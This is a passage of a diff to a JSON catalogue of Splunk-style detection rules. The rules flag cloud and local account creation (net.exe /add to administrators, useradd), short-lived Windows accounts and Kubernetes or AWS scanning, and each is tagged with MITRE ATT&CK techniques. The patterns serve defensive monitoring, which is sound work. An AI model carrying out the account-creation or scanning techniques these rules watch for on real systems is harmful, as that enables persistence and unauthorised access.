- "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A new Azure Automation Runbook $object$ was created by $user$", - "risk_score": 63, - "security_domain": "audit", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1136", - "mitre_attack_technique": "Create Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "Indrik Spider", - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1136.003", - "mitre_attack_technique": "Cloud Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "O365 Add App Role Assignment Grant User", - "description": "The following analytic detects the addition of an application role assignment grant to a user in Office 365. It leverages data from the `o365_management_activity` dataset, specifically monitoring the \"Add app role assignment grant to user\" operation. This activity is significant as it can indicate unauthorized privilege escalation or the assignment of sensitive roles to users. If confirmed malicious, this could allow an attacker to gain elevated permissions, potentially leading to unauthorized access to critical resources and data within the Office 365 environment.", - "search": "`o365_management_activity` Workload=AzureActiveDirectory Operation=\"Add app role assignment grant to user.\" | stats count min(_time) as firstTime max(_time) as lastTime values(Actor{}.ID) as Actor.ID values(Actor{}.Type) as Actor.Type values(ModifiedProperties{}.Name) as modified_properties_name by user dest ResultStatus Operation | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `o365_add_app_role_assignment_grant_user_filter`", - "tags": { - "analytic_story": [ - "Cloud Federated Credential Abuse", - "Office 365 Persistence Mechanisms" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ has created a new federation setting $modified_properties_name$ on $dest$", - "risk_score": 18, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1136.003", - "mitre_attack_technique": "Cloud Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1136", - "mitre_attack_technique": "Create Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "Indrik Spider", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "O365 Added Service Principal", - "description": "The following analytic detects the addition of new service principal accounts in O365 tenants. It leverages data from the `o365_management_activity` dataset, specifically monitoring for operations related to adding or creating service principals. This activity is significant because attackers can exploit service principals to gain unauthorized access and perform malicious actions within an organization's environment. If confirmed malicious, this could allow attackers to interact with APIs, access resources, and execute operations on behalf of the organization, potentially leading to data breaches or further compromise.", - "search": "`o365_management_activity` Workload=AzureActiveDirectory Operation=\"*Add service principal*\" OR (Operation = \"*principal*\" AND action = \"created\") | stats count values(ModifiedProperties{}.NewValue) as new_value by src_user src_user_type action Operation authentication_service Workload | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `o365_added_service_principal_filter`", - "tags": { - "analytic_story": [ - "Cloud Federated Credential Abuse", - "NOBELIUM Group", - "Office 365 Persistence Mechanisms" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $src_user$ has created new service principal $new_value$ in AzureActiveDirectory", - "risk_score": 42, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1136.003", - "mitre_attack_technique": "Cloud Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1136", - "mitre_attack_technique": "Create Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "Indrik Spider", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "O365 New Federated Domain Added", - "description": "The following analytic identifies the addition of a new federated domain in an Office 365 environment. This behavior is detected by analyzing Office 365 management activity logs, specifically filtering for Workload=Exchange and Operation=\"Add-FederatedDomain\". The addition of a new federated domain is significant as it may indicate unauthorized changes or potential compromises. If confirmed malicious, attackers could establish a backdoor, bypass security measures, or exfiltrate data, leading to data breaches and unauthorized access to sensitive information. Immediate investigation is required to review the details of the added domain and any concurrent suspicious activities.", - "search": "`o365_management_activity` Operation IN (\"*add*\", \"*new*\") AND Operation=\"*domain*\" | stats count values(ModifiedProperties{}.NewValue) as new_value by user user_agent authentication_service action Workload Operation | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `o365_new_federated_domain_added_filter`", - "tags": { - "analytic_story": [ - "Cloud Federated Credential Abuse", - "Office 365 Persistence Mechanisms" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ has added a new federated domain $new_value$", - "risk_score": 64, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1136.003", - "mitre_attack_technique": "Cloud Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1136", - "mitre_attack_technique": "Create Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "Indrik Spider", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Web Fraud - Account Harvesting", - "description": "This search is used to identify the creation of multiple user accounts using the same email domain name.", - "search": "`stream_http` http_content_type=text* uri=\"/magento2/customer/account/loginPost/\" | rex field=cookie \"form_key=(?\\w+)\" | rex field=form_data \"login\\[username\\]=(?[^&|^$]+)\" | search Username=* | rex field=Username \"@(?.*)\" | stats dc(Username) as UniqueUsernames list(Username) as src_user by email_domain | where UniqueUsernames> 25 | `web_fraud___account_harvesting_filter`", - "tags": { - "analytic_story": [ - "Web Fraud Detection" - ], - "asset_type": "Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "field", - "type": "Unknown", - "role": [ - "Unknown" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1136", - "mitre_attack_technique": "Create Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "Indrik Spider", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Create local admin accounts using net exe", - "description": "The following analytic detects the creation of local administrator accounts using the net.exe command. It leverages Endpoint Detection and Response (EDR) data to identify processes named net.exe or net1.exe with the \"/add\" parameter and keywords related to administrator accounts. This activity is significant as it may indicate an attacker attempting to gain persistent access or escalate privileges. If confirmed malicious, this could lead to unauthorized access, data theft, or further system compromise. Review the process details, user context, and related artifacts to determine the legitimacy of the activity.", - "search": "| tstats `security_content_summariesonly` count values(Processes.user) as user values(Processes.parent_process) as parent_process values(parent_process_name) as parent_process_name min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=net.exe OR Processes.process_name=net1.exe) AND Processes.process=*/add* AND (Processes.process=*administrators* OR Processes.process=*administratoren* OR Processes.process=*administrateurs* OR Processes.process=*administrador* OR Processes.process=*amministratori* OR Processes.process=*administratorer*) by Processes.process Processes.process_name Processes.parent_process_name Processes.dest Processes.user| `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `create_local_admin_accounts_using_net_exe_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "CISA AA22-257A", - "DHS Report TA18-074A", - "DarkGate Malware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to add a user to the local Administrators group.", - "risk_score": 30, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1136.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT3", - "APT39", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "Fox Kitten", - "Kimsuky", - "Leafminer", - "Magic Hound", - "TeamTNT", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1136", - "mitre_attack_technique": "Create Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "Indrik Spider", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Detect New Local Admin account", - "description": "The following analytic detects the creation of new accounts elevated to local administrators. It uses Windows event logs, specifically EventCode 4720 (user account creation) and EventCode 4732 (user added to Administrators group). This activity is significant as it indicates potential unauthorized privilege escalation, which is critical for SOC monitoring. If confirmed malicious, this could allow attackers to gain administrative access, leading to unauthorized data access, system modifications, and disruption of services. Immediate investigation is required to mitigate risks and prevent further unauthorized actions.", - "search": "`wineventlog_security` EventCode=4720 OR (EventCode=4732 Group_Name=Administrators) | transaction src_user connected=false maxspan=180m | rename src_user as user | stats count min(_time) as firstTime max(_time) as lastTime by user dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_new_local_admin_account_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-257A", - "DHS Report TA18-074A", - "HAFNIUM Group" - ], - "asset_type": "Windows", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A $user$ on $dest$ was added recently. Identify if this was legitimate behavior or not.", - "risk_score": 42, - "security_domain": "access", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1136.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT3", - "APT39", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "Fox Kitten", - "Kimsuky", - "Leafminer", - "Magic Hound", - "TeamTNT", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1136", - "mitre_attack_technique": "Create Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "Indrik Spider", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Linux Add User Account", - "description": "The following analytic detects the creation of new user accounts on Linux systems using commands like \"useradd\" or \"adduser.\" It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as adversaries often create new user accounts to establish persistence on compromised hosts. If confirmed malicious, this could allow attackers to maintain access, escalate privileges, and further compromise the system, posing a severe security risk.", - "search": "| tstats `security_content_summariesonly` count from datamodel=Endpoint.Processes where Processes.process_name IN (\"useradd\", \"adduser\") OR Processes.process IN (\"*useradd *\", \"*adduser *\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_add_user_account_filter`", - "tags": { - "analytic_story": [ - "Linux Persistence Techniques", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A commandline $process$ that may create user account on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1136.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT3", - "APT39", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "Fox Kitten", - "Kimsuky", - "Leafminer", - "Magic Hound", - "TeamTNT", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1136", - "mitre_attack_technique": "Create Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "Indrik Spider", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Short Lived Windows Accounts", - "description": "The following analytic detects the rapid creation and deletion of Windows accounts within a short time frame. It leverages the \"Change\" data model in Splunk, specifically monitoring events with result IDs 4720 (account creation) and 4726 (account deletion). This behavior is significant as it may indicate an attacker attempting to create and remove accounts quickly to evade detection or gain unauthorized access. If confirmed malicious, this activity could lead to unauthorized access, privilege escalation, or further malicious actions within the environment. Immediate investigation of flagged events is crucial to mitigate potential damage.", - "search": "| tstats `security_content_summariesonly` values(All_Changes.result_id) as result_id count min(_time) as firstTime max(_time) as lastTime from datamodel=Change where All_Changes.result_id=4720 OR All_Changes.result_id=4726 by _time span=4h All_Changes.user All_Changes.dest | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `drop_dm_object_name(\"All_Changes\")` | search result_id = 4720 result_id=4726 | transaction user connected=false maxspan=240m | table firstTime lastTime count user dest result_id | `short_lived_windows_accounts_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement" - ], - "asset_type": "Windows", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A user account created or delete shortly in host $dest$", - "risk_score": 63, - "security_domain": "access", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1136.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT3", - "APT39", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "Fox Kitten", - "Kimsuky", - "Leafminer", - "Magic Hound", - "TeamTNT", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1136", - "mitre_attack_technique": "Create Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "Indrik Spider", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Windows Create Local Account", - "description": "The following analytic detects the creation of a new local user account on a Windows system. It leverages Windows Security Audit logs, specifically event ID 4720, to identify this activity. Monitoring the creation of local accounts is crucial for a SOC as it can indicate unauthorized access or lateral movement within the network. If confirmed malicious, this activity could allow an attacker to establish persistence, escalate privileges, or gain unauthorized access to sensitive systems and data.", - "search": "| tstats `security_content_summariesonly` values(All_Changes.result_id) as result_id count min(_time) as firstTime max(_time) as lastTime from datamodel=Change where All_Changes.result_id=4720 by All_Changes.user All_Changes.dest All_Changes.result All_Changes.action | `drop_dm_object_name(\"All_Changes\")` | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `windows_create_local_account_filter`", - "tags": { - "analytic_story": [ - "Active Directory Password Spraying" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "The following $user$ was added to $dest$ as a local account.", - "risk_score": 18, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1136.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT3", - "APT39", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "Fox Kitten", - "Kimsuky", - "Leafminer", - "Magic Hound", - "TeamTNT", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1136", - "mitre_attack_technique": "Create Account", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "Indrik Spider", - "Scattered Spider" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -659090,414 +443969,6 @@ "https://aws.amazon.com", "https://azure.microsoft.com/en-us/services/" ] - }, - { - "name": "Amazon EKS Kubernetes cluster scan detection", - "description": "The following analytic detects unauthenticated requests to an Amazon EKS Kubernetes cluster, specifically identifying actions by the \"system:anonymous\" user. It leverages AWS CloudWatch Logs data, focusing on user agents and authentication details. This activity is significant as it may indicate unauthorized scanning or probing of the Kubernetes cluster, which could be a precursor to an attack. If confirmed malicious, this could lead to unauthorized access, data exfiltration, or disruption of services within the Kubernetes environment.", - "search": "`aws_cloudwatchlogs_eks` \"user.username\"=\"system:anonymous\" userAgent!=\"AWS Security Scanner\" | rename sourceIPs{} as src_ip | stats count min(_time) as firstTime max(_time) as lastTime values(responseStatus.reason) values(source) as cluster_name values(responseStatus.code) values(userAgent) as http_user_agent values(verb) values(requestURI) by src_ip user.username user.groups{} | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` |`amazon_eks_kubernetes_cluster_scan_detection_filter`", - "tags": { - "analytic_story": [ - "Kubernetes Scanning Activity" - ], - "asset_type": "Amazon EKS Kubernetes cluster", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1526", - "mitre_attack_technique": "Cloud Service Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Amazon EKS Kubernetes Pod scan detection", - "description": "The following analytic detects unauthenticated requests made against the Kubernetes Pods API, indicating potential unauthorized access attempts. It leverages the `aws_cloudwatchlogs_eks` data source, filtering for events where `user.username` is \"system:anonymous\", `verb` is \"list\", and `objectRef.resource` is \"pods\", with `requestURI` set to \"/api/v1/pods\". This activity is significant as it may signal attempts to access sensitive resources or execute unauthorized commands within the Kubernetes environment. If confirmed malicious, such access could lead to data compromise, unauthorized command execution, or lateral movement within the cluster.", - "search": "`aws_cloudwatchlogs_eks` \"user.username\"=\"system:anonymous\" verb=list objectRef.resource=pods requestURI=\"/api/v1/pods\" | rename source as cluster_name sourceIPs{} as src_ip | stats count min(_time) as firstTime max(_time) as lastTime values(responseStatus.reason) values(responseStatus.code) values(userAgent) values(verb) values(requestURI) by src_ip cluster_name user.username user.groups{} | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `amazon_eks_kubernetes_pod_scan_detection_filter`", - "tags": { - "analytic_story": [ - "Kubernetes Scanning Activity" - ], - "asset_type": "Amazon EKS Kubernetes cluster Pod", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1526", - "mitre_attack_technique": "Cloud Service Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "AWS Excessive Security Scanning", - "description": "The following analytic identifies excessive security scanning activities in AWS by detecting a high number of Describe, List, or Get API calls from a single user. It leverages AWS CloudTrail logs to count distinct event names and flags users with more than 50 such events. This behavior is significant as it may indicate reconnaissance activities by an attacker attempting to map out your AWS environment. If confirmed malicious, this could lead to unauthorized access, data exfiltration, or further exploitation of your cloud infrastructure.", - "search": "`cloudtrail` eventName=Describe* OR eventName=List* OR eventName=Get* | stats dc(eventName) as dc_events min(_time) as firstTime max(_time) as lastTime values(eventName) as command values(src) as src values(userAgent) as userAgent by user userIdentity.arn | where dc_events > 50 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`|`aws_excessive_security_scanning_filter`", - "tags": { - "analytic_story": [ - "AWS User Monitoring" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ has excessive number of api calls $dc_events$ from these IP addresses $src$, violating the threshold of 50, using the following commands $command$.", - "risk_score": 18, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1526", - "mitre_attack_technique": "Cloud Service Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "GCP Kubernetes cluster pod scan detection", - "description": "The following analytic identifies unauthenticated requests to Kubernetes cluster pods. It detects this activity by analyzing GCP Pub/Sub messages for audit logs where the response status code is 401, indicating unauthorized access attempts. This activity is significant for a SOC because it may indicate reconnaissance or scanning attempts by an attacker trying to identify vulnerable pods. If confirmed malicious, this activity could lead to unauthorized access, allowing the attacker to exploit vulnerabilities within the cluster, potentially compromising sensitive data or gaining control over the Kubernetes environment.", - "search": "`google_gcp_pubsub_message` category=kube-audit |spath input=properties.log |search responseStatus.code=401 |table sourceIPs{} userAgent verb requestURI responseStatus.reason properties.pod | `gcp_kubernetes_cluster_pod_scan_detection_filter`", - "tags": { - "analytic_story": [ - "Kubernetes Scanning Activity" - ], - "asset_type": "GCP Kubernetes cluster", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1526", - "mitre_attack_technique": "Cloud Service Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Kubernetes Scanner Image Pulling", - "description": "The following analytic detects the pulling of known Kubernetes security scanner images such as kube-hunter, kube-bench, and kube-recon. It leverages Kubernetes logs ingested through Splunk Connect for Kubernetes, specifically monitoring for messages indicating the pulling of these images. This activity is significant because the use of security scanners can indicate an attempt to identify vulnerabilities within the Kubernetes environment. If confirmed malicious, this could lead to the discovery and exploitation of security weaknesses, potentially compromising the entire Kubernetes cluster.", - "search": "`kube_objects_events` object.message IN (\"Pulling image *kube-hunter*\", \"Pulling image *kube-bench*\", \"Pulling image *kube-recon*\", \"Pulling image *kube-recon*\") | rename object.* AS * | rename involvedObject.* AS * | rename source.host AS host | eval phase=\"operate\" | eval severity=\"high\" | stats min(_time) as firstTime max(_time) as lastTime count by host, name, namespace, kind, reason, message, phase, severity | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `kubernetes_scanner_image_pulling_filter`", - "tags": { - "analytic_story": [ - "Dev Sec Ops" - ], - "asset_type": "Kubernetes", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "host", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Kubernetes Scanner image pulled on host $host$", - "risk_score": 81, - "security_domain": "network", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1526", - "mitre_attack_technique": "Cloud Service Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Kubernetes Suspicious Image Pulling", - "description": "The following analytic detects suspicious image pulling in Kubernetes environments. It identifies this activity by monitoring Kubernetes audit logs for image pull requests that do not match a predefined list of allowed images. This behavior is significant for a SOC as it may indicate an attacker attempting to deploy malicious software or infiltrate the system. If confirmed malicious, the impact could be severe, potentially leading to unauthorized access to sensitive systems or data, and enabling further malicious activities within the cluster.", - "search": "`kube_audit` requestObject.message=\"Pulling image*\" | search NOT `kube_allowed_images` | fillnull | stats count by objectRef.name objectRef.namespace objectRef.resource requestReceivedTimestamp requestURI responseStatus.code sourceIPs{} stage user.groups{} user.uid user.username userAgent verb | rename sourceIPs{} as src_ip, user.username as user | `kubernetes_suspicious_image_pulling_filter`", - "tags": { - "analytic_story": [ - "Kubernetes Security" - ], - "asset_type": "Kubernetes", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Suspicious image $objectRef.name$ pulled in Kubernetes from ip $src_ip$ by user $user$", - "risk_score": 49, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1526", - "mitre_attack_technique": "Cloud Service Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "ASL AWS Excessive Security Scanning", - "description": "This search looks for AWS CloudTrail events and analyse the amount of eventNames which starts with Describe by a single user. This indicates that this user scans the configuration of your AWS cloud environment.", - "search": "`amazon_security_lake` api.operation=Describe* OR api.operation=List* OR api.operation=Get* | stats dc(api.operation) as dc_api_operations min(_time) as firstTime max(_time) as lastTime values(http_request.user_agent) as http_request.user_agent values(src_endpoint.ip) as src_endpoint.ip values(cloud.region) as cloud.region values(identity.user.account_uid) as identity.user.account_uid by identity.user.name | where dc_api_operations > 50 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`|`asl_aws_excessive_security_scanning_filter`", - "tags": { - "analytic_story": [ - "AWS User Monitoring" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_endpoint.ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "identity.user.name", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "user $identity.user.name$ has excessive number of api calls.", - "risk_score": 18, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1526", - "mitre_attack_technique": "Cloud Service Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "GCP Kubernetes cluster scan detection", - "description": "This search provides information of unauthenticated requests via user agent, and authentication data against Kubernetes cluster", - "search": "`google_gcp_pubsub_message` data.protoPayload.requestMetadata.callerIp!=127.0.0.1 data.protoPayload.requestMetadata.callerIp!=::1 \"data.labels.authorization.k8s.io/decision\"=forbid \"data.protoPayload.status.message\"=PERMISSION_DENIED data.protoPayload.authenticationInfo.principalEmail=\"system:anonymous\" | rename data.protoPayload.requestMetadata.callerIp as src_ip | stats count min(_time) as firstTime max(_time) as lastTime values(data.protoPayload.methodName) as method_name values(data.protoPayload.resourceName) as resource_name values(data.protoPayload.requestMetadata.callerSuppliedUserAgent) as http_user_agent by src_ip data.resource.labels.cluster_name | rename data.resource.labels.cluster_name as cluster_name| `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `gcp_kubernetes_cluster_scan_detection_filter`", - "tags": { - "analytic_story": [ - "Kubernetes Scanning Activity" - ], - "asset_type": "GCP Kubernetes cluster", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "field", - "type": "Unknown", - "role": [ - "Unknown" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1526", - "mitre_attack_technique": "Cloud Service Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Kubernetes Azure scan fingerprint", - "description": "This search provides information of unauthenticated requests via source IP user agent, request URI and response status data against Kubernetes cluster in Azure", - "search": "`kubernetes_azure` category=kube-audit | spath input=properties.log | search responseStatus.code=401 | table sourceIPs{} userAgent verb requestURI responseStatus.reason |`kubernetes_azure_scan_fingerprint_filter`", - "tags": { - "analytic_story": [ - "Kubernetes Scanning Activity" - ], - "asset_type": "Azure AKS Kubernetes cluster", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "field", - "type": "Unknown", - "role": [ - "Unknown" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1526", - "mitre_attack_technique": "Cloud Service Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -662051,1389 +446522,7 @@ "Event ID": null, "Event Name": "Network protocol analysis" } - ], - { - "name": "Domain Controller Discovery with Nltest", - "description": "The following 